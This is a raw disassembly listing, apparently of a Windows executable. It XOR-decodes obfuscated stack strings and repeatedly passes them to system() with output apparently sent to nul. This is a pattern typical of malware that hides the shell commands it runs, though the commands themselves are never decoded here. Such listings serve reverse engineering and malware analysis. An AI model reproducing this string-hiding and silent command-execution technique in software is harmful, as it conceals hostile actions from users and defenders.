vmovdqu ymm0, ymmword [rbp + 0x6020]
vmovdqa ymmword [rbp + 0x5fa0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5fc0]
vmovdqa ymmword [rbp + 0x5fc0], ymm1
mov qword [rbp + 0x6058], rax
vmovdqu ymm0, ymmword [rbp + 0x6040]
vpxor ymm1, ymm0, ymmword [rbp + 0x5fe0]
vmovdqa ymmword [rbp + 0x5fe0], ymm1
vzeroupper
call fcn.140073640
mov r8d, 0x5e670
lea rdx, [0x1414cb610]
lea rcx, [rbp + 0x2040]
call fcn.14003de10
lea rcx, [rbp + 0x2040]
call fcn.1400735d0
xor eax, eax
movabs rdx, 0xf7bcc5c2f781acd5
mov byte [rbp], al
movabs rcx, 0xff8c0cbf58bf0f12
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6060], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6068], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6070], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6078], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6080], rax
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6088], rax
movabs rax, 0x3d5cf2abc3d5a2fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6090], rax
movabs rax, 0xeb9f36bd36fed2a9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6098], rax
movabs rax, 0x52227852a83c7179
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60a0], rax
movabs rax, 0x24dbffb0df58ef46
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60a8], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60b0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60b8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60c0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60c8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60d0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60d8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60e0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60e8], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60f0], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60f8], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6100], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6108], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x6060]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6110], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2060]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x60c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6060]
vmovdqu ymm0, ymmword [rbp + 0x60e0]
vmovdqa ymmword [rbp + 0x6060], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6080]
vmovdqa ymmword [rbp + 0x6080], ymm1
mov qword [rbp + 0x6118], rax
vmovdqu ymm0, ymmword [rbp + 0x6100]
vpxor ymm1, ymm0, ymmword [rbp + 0x60a0]
vmovdqa ymmword [rbp + 0x60a0], ymm1
vzeroupper
call fcn.140073640
mov r8d, 0x8788
lea rdx, [0x14147a840]
lea rcx, [rbp + 0x2060]
call fcn.14003de10
lea rcx, [rbp + 0x2060]
call fcn.1400735d0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6120], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6128], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6130], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6138], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6140], rax
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6148], rax
movabs rax, 0x3d5cf2abc3d5a2fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6150], rax
movabs rax, 0xeb8936b736f7d2a8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6158], rax
movabs rax, 0x52387850a87c717d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6160], rax
movabs rax, 0x24a8ffbadf52ef1b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6168], rax
lea rdx, [rbp + 0x6120]
mov qword [rbp + 0x10], rdi
lea rcx, [rbp + 0x2080]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56e8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56f8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5700], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5708], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5710], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5718], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5720], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x56e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6120]
vmovdqu ymm0, ymmword [rbp + 0x5700]
vmovdqa ymmword [rbp + 0x6120], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6140]
mov qword [rbp + 0x5728], rax
vmovdqa xmm2, xmmword [rbp + 0x5720]
vxorps xmm2, xmm2, xmmword [rbp + 0x6160]
vmovdqa ymmword [rbp + 0x6140], ymm1
vmovdqa xmmword [rbp + 0x6160], xmm2
vzeroupper
call fcn.140073640
mov r8d, 0x7180
lea rdx, [0x1414c4490]
lea rcx, [rbp + 0x2080]
call fcn.14003de10
lea rcx, [rbp + 0x2080]
call fcn.1400735d0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6180], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6188], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6190], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6198], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61a0], rax
movabs rdx, 0xf7bcc5c2f781acd5
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
movabs rcx, 0xff8c0cbf58bf0f12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61a8], rax
movabs rax, 0x3d46f2afc3f0a2fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61b0], rax
movabs rax, 0xeb9536b236f6d2a5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61b8], rax
movabs rax, 0x52787809a83e716c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61c0], rax
movabs rax, 0x24cdffb1df4eef46
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61c8], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61d8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61e8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61f8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6200], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6208], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6210], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6218], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6220], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6228], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x6180]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6230], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x61e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6180]
vmovdqu ymm0, ymmword [rbp + 0x6200]
vmovdqa ymmword [rbp + 0x6180], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x61a0]
mov qword [rbp + 0x6238], rax
vmovdqu ymm0, ymmword [rbp + 0x6220]
vmovdqa ymmword [rbp + 0x61a0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x61c0]
vmovdqa ymmword [rbp + 0x61c0], ymm1
lea rcx, [rbp + 0x20a0]
vzeroupper
call fcn.140073640
mov r8d, 0x296b0
lea rdx, [0x1400d10e0]
lea rcx, [rbp + 0x20a0]
call fcn.14003de10
lea rcx, [rbp + 0x20a0]
call fcn.1400735d0
cmp byte [0x14155749f], 0
je 0x14004c5c1
mov edx, 4
lea rcx, [rbp + 0x20c0]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x20e0]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x3f39]
xor eax, eax
lea rcx, [rbp + 0x150]
mov byte [rbp + 0x150], al
call fcn.14006c470
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004c2c1
mov r8d, esi
cmp r15d, 2
jl 0x14004c283
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004c190
cmp r8d, 0x33
jge 0x14004c2c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004c290
mov r8, rdi
lea rcx, [rbp + 0x2100]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x2120]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2140]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2160]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2160]
call fcn.14002b440
lea rcx, [rbp + 0x2140]
call fcn.14002b440
lea rcx, [rbp + 0x2120]
call fcn.14002b440
lea rcx, [rbp + 0x2100]
call fcn.14002b440
lea rcx, [rbp + 0x20e0]
call fcn.14002b440
lea rcx, [rbp + 0x20c0]
call fcn.14002b440
mov edx, 4
lea rcx, [rbp + 0x2180]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x21a0]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x3f6c]
xor eax, eax
lea rcx, [rbp + 0x151]
mov byte [rbp + 0x151], al
call fcn.14006c4b0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004c511
mov r8d, esi
cmp r15d, 2
jl 0x14004c4d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004c3e0
cmp r8d, 0x33
jge 0x14004c511
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004c4e0
mov r8, rdi
lea rcx, [rbp + 0x21c0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x21e0]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2200]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2220]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2220]
call fcn.14002b440
lea rcx, [rbp + 0x2200]
call fcn.14002b440
lea rcx, [rbp + 0x21e0]
call fcn.14002b440
lea rcx, [rbp + 0x21c0]
call fcn.14002b440
lea rcx, [rbp + 0x21a0]
call fcn.14002b440
lea rcx, [rbp + 0x2180]
call fcn.14002b440
mov byte [0x14155749f], 0
cmp byte [0x141557547], 0
je 0x14004ca51
mov edx, 4
lea rcx, [rbp + 0x2240]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x2260]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x3f9f]
xor eax, eax
lea rcx, [rbp + 0x30]
mov byte [rbp + 0x30], al
call fcn.14006c4f0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004c761
mov r8d, esi
cmp r15d, 2
jl 0x14004c724
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004c631
cmp r8d, 0x33
jge 0x14004c761
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004c730
mov r8, rdi
lea rcx, [rbp + 0x2280]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x22a0]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x22c0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x22e0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x22e0]
call fcn.14002b440
lea rcx, [rbp + 0x22c0]
call fcn.14002b440
lea rcx, [rbp + 0x22a0]
call fcn.14002b440
lea rcx, [rbp + 0x2280]
call fcn.14002b440
lea rcx, [rbp + 0x2260]
call fcn.14002b440
lea rcx, [rbp + 0x2240]
call fcn.14002b440
mov edx, 4
lea rcx, [rbp + 0x2300]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x2320]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x3fd2]
xor eax, eax
lea rcx, [rbp + 0x31]
mov byte [rbp + 0x31], al
call fcn.14006c530
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004c9a1
mov r8d, esi
cmp r15d, 2
jl 0x14004c963
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004c870
cmp r8d, 0x33
jge 0x14004c9a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004c970
mov r8, rdi
lea rcx, [rbp + 0x2340]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x2360]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2380]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x23a0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x23a0]
call fcn.14002b440
lea rcx, [rbp + 0x2380]
call fcn.14002b440
lea rcx, [rbp + 0x2360]
call fcn.14002b440
lea rcx, [rbp + 0x2340]
call fcn.14002b440
lea rcx, [rbp + 0x2320]
call fcn.14002b440
lea rcx, [rbp + 0x2300]
call fcn.14002b440
mov byte [0x141557547], 0
cmp byte [0x14155749e], 0
je 0x14004cfaf
mov edx, 0xe
lea rcx, [rbp + 0x23c0]
call fcn.140040450
mov edx, 4
lea rcx, [rbp + 0x23e0]
mov rbx, rax
call fcn.140040450
mov edx, 3
lea rcx, [rbp + 0x2400]
mov rdi, rax
call fcn.140040450
mov rsi, rax
lea rdx, [rbp + 0x3c20]
xor eax, eax
lea rcx, [rbp + 0x32]
mov byte [rbp + 0x32], al
call fcn.14006c570
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14004cc11
xor r8d, r8d
cmp r15d, 2
jl 0x14004cbd3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004cae0
cmp r8d, 0x31
jge 0x14004cc11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14004cbe0
mov r8, rsi
lea rcx, [rbp + 0x2420]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2440]
call fcn.140073ce0
mov r8, rdi
lea rcx, [rbp + 0x2460]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2480]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x24a0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x24c0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x24c0]
call fcn.14002b440
lea rcx, [rbp + 0x24a0]
call fcn.14002b440
lea rcx, [rbp + 0x2480]
call fcn.14002b440
lea rcx, [rbp + 0x2460]
call fcn.14002b440
lea rcx, [rbp + 0x2440]
call fcn.14002b440
